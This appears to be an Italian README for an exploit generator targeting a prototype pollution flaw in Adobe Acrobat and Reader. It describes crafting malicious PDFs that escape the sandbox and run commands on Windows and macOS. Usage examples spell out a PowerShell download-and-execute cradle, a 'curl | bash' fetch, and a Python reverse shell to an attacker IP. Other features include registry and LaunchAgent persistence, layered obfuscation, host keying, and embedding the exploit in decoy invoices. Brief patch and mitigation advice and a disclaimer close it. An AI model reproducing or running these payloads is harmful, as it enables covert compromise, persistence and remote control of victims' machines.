null200ok/cve_2026_34621_advancedUno strumento sofisticato e multipiattaforma per la generazione di exploit per **CVE-2026-34621** – una vulnerabilità critica di prototype pollution in Adobe Acrobat e Reader che porta all'escape dalla sandbox e all'esecuzione di codice arbitrario su Windows e macOS.
Un sofisticato generatore di exploit multipiattaforma per CVE-2026-34621 – una vulnerabilità critica di prototype pollution in Adobe Acrobat e Reader che porta all'escape dalla sandbox e all'esecuzione arbitraria di codice su Windows e macOS.
⚠️ DISCLAIMER IMPORTANTE
Questo strumento è destinato solo a ricerca sulla sicurezza autorizzata e test di penetrazione.
L'uso non autorizzato contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione scritta al test è illegale. L'autore non si assume alcuna responsabilità per un uso improprio.
CVE-2026-34621 è una vulnerabilità zero-day in Adobe Acrobat e Reader che consente a un attaccante di:
Questo generatore crea un file PDF dannoso che, quando aperto in una versione vulnerabile di Adobe Reader, esegue automaticamente un payload adattato al sistema operativo della vittima.
Piattaforme Target Supportate:
| Categoria | Capacità |
|---|---|
| Payload Multipiattaforma | Rileva automaticamente il sistema operativo e seleziona il metodo appropriato di esecuzione comandi per Windows o macOS. |
| Molteplici Vettori di Esecuzione | cmd.exe, PowerShell, WScript.Shell (Windows) / Terminal.app, osascript (macOS). |
| Payload a Stadi | Scarica ed esegue payload di secondo stadio da un URL remoto. |
| Persistenza | Installa chiave di registro Run (Windows) o LaunchAgent (macOS). |
| Tecniche di Evasione | Tre livelli di offuscamento JavaScript, keying ambientale, ritardi di esecuzione, codice polimorfico. |
| Incorporamento PDF Esca | Unisce l'exploit in un PDF dall'aspetto legittimo (richiede PyPDF2). |
| Molteplici Trigger | OpenAction, azione di apertura pagina o JavaScript a livello di documento. |
| Report Completi | Report HTML, TXT e JSON che dettagliano la configurazione del payload. |
git clone https://github.com/NULL200OK/CVE-2026-34621-Exploit.git
cd CVE-2026-34621-Exploit
python3 -m venv venv
source venv/bin/activate # Linux/macOS
venv\Scripts\activate # Windows
Lo script principale utilizza solo la libreria standard di Python. Per la funzionalità di unione PDF esca, installa PyPDF2:
pip install PyPDF2
Genera un PDF di base che apre la calcolatrice sia su Windows che su macOS:
python3 cve_2026_34621_advanced.py -o test.pdf
Questo crea:
test.pdf – Il file PDF dannoso.
test_report.html – Report HTML dettagliato.
test_report.txt – Riepilogo in testo semplice.
test_config.json – Esportazione della configurazione JSON.
Comandi Windows
1-Scenario Comando
A-Popup calc.exe di base
python cve_2026_34621_advanced.py -o invoice.pdf --win calc.exe
Reverse shell PowerShell
python cve_2026_34621_advanced.py -o contract.pdf --win "powershell -NoP -Ep Bypass -C \"IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.5/shell.ps1')\""
Payload a stadi con persistenza
python cve_2026_34621_advanced.py -o resume.pdf --win calc.exe --stage http://192.168.1.100/payload.exe -p
Keying ambientale (esegui solo su "SALES-PC")
python cve_2026_34621_advanced.py -o targeted.pdf --win calc.exe -k SALES-PC
Con livello di offuscamento 2 e ritardo di 10 secondi
python cve_2026_34621_advanced.py -o delayed.pdf --win calc.exe -O 2 -d 10
Comandi macOS
2-Scenario Comando
Apri Calcolatrice
python cve_2026_34621_advanced.py -o invoice.pdf --mac "open /System/Applications/Calculator.app"
Scarica ed esegui script
python cve_2026_34621_advanced.py -o update.pdf --mac "curl -s http://10.0.0.5/mac_payload.sh | bash"
Reverse shell tramite Python
python cve_2026_34621_advanced.py -o shell.pdf --mac "python -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"10.0.0.5\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
Persistenza tramite LaunchAgent
python cve_2026_34621_advanced.py -o persist.pdf --mac "open /Applications/Calculator.app" -p
Incorporamento in un PDF Esca
python cve_2026_34621_advanced.py -o safe_invoice.pdf -l /path/to/real_invoice.pdf --trigger pageopen
3-Nota sui Test Mobile
Lo script stesso viene eseguito su desktop (Windows/macOS/Linux) per generare il PDF. Il PDF generato può essere aperto su dispositivi Android o iOS, ma:
Le versioni mobile di Adobe Acrobat Reader non sono vulnerabili a CVE-2026-34621.
Il payload attiverà un fallback dimostrativo benigno (apre un URL o mostra un avviso) invece di eseguire comandi di sistema.
Opzione Descrizione
-o, --output FILE Obbligatoria. Nome del file PDF di output.
--win CMD Comando Windows da eseguire (predefinito: calc.exe).
--mac CMD Comando macOS da eseguire (predefinito: open /System/Applications/Calculator.app).
--stage URL URL da cui scaricare il payload di secondo stadio.
-p, --persistence Installa il meccanismo di persistenza (Registry/LanchAgent).
-O, --obfuscate LEVEL Livello di offuscamento JavaScript (0=nessuno, 1=base, 2=intermedio, 3=avanzato).
-d, --delay SECONDS Ritarda l'esecuzione del numero specificato di secondi.
-k, --key HOSTNAME Keying ambientale – esegui solo su hostname corrispondente.
-l, --lure PDF Percorso di un PDF legittimo da usare come esca (unisce l'exploit).
--trigger TYPE Vettore di trigger: openaction, pageopen o doclevel.
--no-reports Salta la generazione dei report HTML/TXT/JSON.
--seed N Imposta il seed casuale per la generazione polimorfica riproducibile.
Catena di Attacco
Prototype Pollution:
Il JavaScript incorporato modifica Object.prototype per iniettare proprietà dannose (__trusted, privileged, ecc.). Questo confonde il confine di fiducia del motore JavaScript di Adobe.
Escalation di Contesto
A causa del prototipo inquinato, il motore tratta erroneamente il JavaScript del documento non fidato come se fosse eseguito in un contesto privilegiato.
Accesso alle API Privilegiate
Lo script può ora chiamare API ristrette come app.launchURL, util.readFileIntoStream e app.trustedFunction.
Escape dalla Sandbox
Queste API consentono l'accesso al file system e l'esecuzione di processi al di fuori della sandbox di Adobe.
Esecuzione Arbitraria di Codice
Lo script esegue il comando dell'attaccante utilizzando metodi specifici del sistema operativo:
Windows: cmd.exe /c, PowerShell o WScript.Shell.
macOS: gestore URL di Terminal.app o osascript.
Livelli di Offuscamento
Livello Descrizione
0 Nessun offuscamento – JavaScript semplice e leggibile.
1 I letterali stringa vengono convertiti in String.fromCharCode, i nomi delle variabili vengono randomizzati.
2 Livello 1 + iniezione di codice morto e commenti spazzatura.
3 L'intero script viene codificato in base64 e avvolto in eval(atob(...)), poi ri-offuscato.
Prodotto Canale Versioni Vulnerabili Versione Corretta
Adobe Acrobat DC Continuo ≤ 26.001.21367 26.001.21411
Adobe Acrobat Reader DC Continuo ≤ 26.001.21367 26.001.21411
Adobe Acrobat 2024 Classico ≤ 24.001.30356 24.001.30362 (Win) / 24.001.30360 (macOS)
Aggiorna Immediatamente: Applica gli ultimi aggiornamenti di sicurezza da Adobe.
Disabilita JavaScript in Adobe Reader: Modifica → Preferenze → JavaScript → deseleziona "Abilita Acrobat JavaScript" (nota: questo compromette alcune funzionalità PDF).
Usa Visualizzatori PDF Alternativi: Considera l'uso di browser o visualizzatori di terze parti non interessati.
I contributi sono benvenuti, ma si prega di notare:
Tutte le pull request devono essere per ricerca difensiva, miglioramenti del rilevamento o potenziamenti del reporting.
Non accettiamo contributi che aumentino la capacità offensiva dello strumento oltre quanto necessario per test legittimi.
Per contribuire:
Forka il repository.
Crea un branch per la funzionalità.
Invia una pull request con una descrizione chiara delle modifiche.
Questo progetto è fornito esclusivamente per scopi educativi e test di sicurezza autorizzati.
Utilizzando questo software, accetti di essere responsabile del rispetto di tutte le leggi e i regolamenti applicabili.
L'autore declina ogni responsabilità per qualsiasi uso improprio o danno causato da questo strumento.